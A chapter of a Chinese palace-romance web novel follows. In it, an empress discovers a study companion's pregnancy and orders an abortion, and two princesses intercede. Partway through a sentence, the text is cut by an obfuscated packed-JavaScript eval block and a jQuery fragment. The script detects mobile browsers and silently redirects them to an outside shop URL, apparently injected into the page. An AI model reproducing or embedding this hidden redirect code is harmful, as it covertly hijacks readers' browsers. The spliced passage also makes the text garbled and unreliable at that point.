坤宁宫。
容姝被推到在地,随后内侍们出去将门带上,殿内只剩神情凝重端坐于上的裴皇后和她身旁的老嬷嬷。
她一时顾不上惊奇和害怕,赶紧连滚带爬调整好姿态,乖顺地趴跪在地上,“参见皇后娘娘,娘娘千……”
“刘嬷嬷。”
“是。”
老嬷嬷骨碌着眼珠子,快速走到容姝边上,一把扣住她的手腕,掐着她的脉搏。
容姝心惊肉跳,抖着手想挣脱,可那老嬷嬷手劲大得吓人,任她如何挣扎都逃脱不了。
几息后,她终于松开手。
“回皇后娘娘,这位小娘子确实已有四个月的身子,老身在宫中照看过那么多娘娘,绝对错不了。”
容姝脑中瞬间电光炸开,捂着肚子恐惧地盯着她们。
她们怎么会知道?
阖宫上下,她有孕的这件事除了自己就只有谢慕辞知道,她明明隐瞒的很好,皇后娘娘怎么会……
“容二娘子,你可知罔顾礼法、私相授受是何罪?”裴皇后声音冰冷,神情肃穆,俨然不是当初见到的那副慈祥模样。
“容,容姝知错,恳请娘娘……”容姝见抵赖不得,只好跪成一团乖乖认错。
“后宅之事原也可以大事化小,小事化了,可你现在身为公主伴读,成日出入圣华殿,损得便是皇家颜面。”
“陛下今年初开皇家女子私学,便是天下女子皆可入学的信号,你此番行径可是要毁了天下女子皆能入学的机会?”
一顶顶大帽子扣下来,容姝直觉四肢冰冷,骇得无法呼吸,原本打算今日就请辞退学的,怎么突然被皇后发现了!
她颤着身子跪在原处,指尖掐进了皮肉,逼迫自己冷静。
“哪来的野孩子?”皇后娘娘厉声发问,私学才开三个月,她已有四个多月的身孕,照理说应与殿中学子无关。
“不,不知。”容姝一时也想不到好的借口,声音抖得厉害。
“不知?”裴皇后一声冷笑,“威宁侯府当真是没落了,竟教养出这么个不知羞耻的女娘,当初本宫就不该心软允你做四公主伴读。”
“若这孩子是圣华殿哪位学子的,也就罢了,退了学成婚就算事了。可你竟然不知是谁的,那便只能落掉了,待落胎后你自行退学,本宫尽量将这件丑事遮下。”
容姝摇头,不断地叩头请求:“皇后娘娘仁慈,这个孩子不能落,我现在就退学,绝不影响他们……”
“可惜,现在说这些晚了。既然已经有人将事情捅到本宫面前了,你以为自己还能全身而退吗?”裴皇后抬手吩咐刘嬷嬷,“将人拖到东边暗室,直接灌药。”
“不要啊,娘娘,皇后娘娘——”容姝眸中盛满惊惧,跪行至裴皇后脚下,哭着请求:“娘娘,他都四个月了,有心跳有呼吸,我不能失去他,求您了……”
“拖下去。”
“你尚且年轻,孩子今后还会有的,不要因为一时心软,搭上了自己的一生。”裴皇后见她哭得那般凄惨,终归是有些不忍,说了两句劝慰之话。
容姝瘫坐在地,面色发白,平日里清灵透彻的杏眸变成一潭死水,僵着身子说不出一句话。
座上是大熙朝最尊贵的皇后娘娘,她如何能反抗得了……
“皇后娘娘,三公主和四公主求见。”门外响起小内侍的声音。
“不见!上学时间跑来作甚?”裴皇后蹙眉。
“母后!”殿门从外被推开。
萧若衡和萧如晖匆忙走了进来,二人担忧地看了眼地上的容姝。
萧若衡:“母后,你们刚刚的对话我和四妹妹都听见了,您大人有大量就饶了容二娘子这一回吧,您大可差人将她送回家去,何必大动干戈呢?”
“是啊,母后,容二娘子为人真诚,又勤勉好学,我很喜欢她,可否放过她?”萧如晖过去将容姝扶了起来。
裴皇后目光扫着前来求情的二人,“便是有你们的纵容,她才敢如此放肆,你们还好意思替她求情。”
“母后,五弟弟生辰在即,咱能坤宁宫可不能闹些血腥事,以免伤了福祉。”
裴皇后听得眉头直跳,“听闻容二娘子与谢先生攀扯不清,可有此事?”
萧如晖立马抢答:“没有,绝无此事。”
萧若衡:“……谢先生芝兰玉树,任哪个小女娘瞧见都忍不住多看两眼,何况是我们这些能近距离接触的女学子呢?”
容姝惊讶她肖想谢慕辞这事居然都传到了皇后娘娘的耳中,但她此刻不敢随便开口,怕叫人拿了错处,给谢慕辞带来麻烦。
只希望两位公主能说动裴皇后,放她和肚中孩子一线生机。
两位公主不负期待,你一言我一语地围着裴皇后磨了好一会,裴皇后最后终于松口道:“今日本宫就给两位公主一个面子,容二娘子你自行找个理由退学,明日起就不要入宫了,将自己的私事锁在后宅里,断不可走漏风声辱了皇家颜面。”
“是是是,谢皇后娘娘。”容姝松了口气,立即跪地磕头致谢。
她劫后余生般地走出了坤宁宫,后背一片濡湿,外头日头高悬,穿过层叠树梢斑驳洒地,竟让人生出无尽的寒意。
三人同行,都未说话。
顷刻后,回过神来的容姝开口致谢:“多谢三公主和四公主救命之恩,都是我的错,是我隐瞒了你们。”
萧若衡轻笑:“都是同袍,容二娘子不必放在心上,此后有何打算?”
“先将孩子平安生下来吧,其他的暂时也顾不上了。”
萧若衡点了点头。
到了圣华殿,萧若衡先行去了课室,萧如晖一把将容姝拉进后院自己休息的厢房。
迫不及待地问:“孩子是谢先生的,对吗?”
容姝眼睛瞪得老大,眨巴着不敢说话,前有何算子和谢家表弟算子,现在又来了个萧算子?!
“看你这表情我就知道我猜对了,你放心,我不会往外说,更不会告诉何娘子。”何棠微嘴巴没个把门的,告诉她就没有秘密可言。
萧如晖虽然比她们的年纪都小,但向来行事稳重,少年老成,容姝很信任她,便就点了点头。
“你是如何得知的?毕竟我的孩子都四个月了,我们入学才三个月。”
“自然是猜的。以我对你的了解,任他谢先生长得再似仙君下凡,也不至于你第一次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058365|194932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见到他就爱得死去活来的,指定是以前就有攀扯的。”
“四公主,看来你对情爱之事确实是有些研究的。”不服都不行,这个尚未及笄的小女娘,脑袋瓜子转得比谁都快。
“他知不知你怀了他孩子的事?打算什么时候与你成婚?”萧如晖问出关键问题。
容姝迷茫地摇了摇头,“这个孩子是个意外,他不知道,也不能让他知道。”
在萧如晖的追问下,容姝索性将自己与谢慕辞之间的前因后果都告诉了她。
“完了,你俩应是没可能的。”萧如晖听得眉头皱成一座小山。
容姝当下也不在意这些了,叹气道:“本也就没可能,先生他是高悬的月亮,眼里哪看得见我们这些小娘子。他现在对我避之不及,心里指定是厌恶极了。”
“可你一个人怀着身子回府能安宁吗?只怕威宁侯他们……”萧如晖满面愁容,不敢深想。
“原本我是打算今日退学,径直出城去,如今被皇后娘娘一通发落,我只能回府坦白了。放心吧,他们再苛责总不至于将我打杀了,为了容家脸面也许还会帮着遮掩一二。”
容姝尽量往好的方面想,这番回去势必会有一番恶战,她既然选择留下孩子,事到临头就不能害怕和退缩。
“这是我的令牌,你若需要帮助就差人进宫告诉我,只要我能做到的我都帮你。”萧如晖摘下腰间玉牌递给她。
容姝心口泛着酸涩,颇为感动地接过,“多谢四公主。”
“我们永远都是好朋友,不必言谢。还有,你仔细想想最近可有什么疏漏之处,竟让人直接告到了母后那处。”
容姝仔细思量一番,并未想到什么疑点,便摇了摇头,“不如四公主帮你留意一下,有消息了派人告知我。”
萧如晖点头应下。
最后,容姝找了个身体抱恙难以胜任的由头,手书一封请辞信递由内侍呈交坤宁宫。
等候裴皇后懿旨期间,她与西殿里那些同袍三个月的女娘一一道别,有依依不舍的,也有冷嘲热讽的。
自然还少不了口出狂言的。
何棠微:“容姝,别以为你躲回家里就能不上课了,我会日日派人去你府上口述先生授的课。”
容姝璨然一笑,一如初见那日,“荣幸之至,恭候大驾。”
黄云凝暮,空廊落叶,苍苔爬满石间,秋风无声扫过,偌大的圣华殿已和初来时大为不同,浸着书声朗朗,浸着无边瑟瑟。
浸着离人带不走的一丝眷念。
容姝背着芨囊远远望着东殿那头,红唇轻启,囔声道:“山匪郎君,后会有期。”
谢慕辞站在灵犀阁二楼,望着庭中失魂落魄的绿衫小女娘,眼尾不自觉微微跳动了下,原来今晨她来找自己是为道别,而非蓄意纠缠。
他悄然拂落一片秋叶,从今以后,这座书院再也不会出现她的身影了,他们也不会再有交集。
一切归于平静,挺好。
容姝抬脚迈出圣华殿,眼角一抹泪珠滑入秋风,击中那翩然起舞的落叶。
她抬袖随意擦了两下,嘘气道:“没什么大不了的。”
“我容姝没那么容易输!”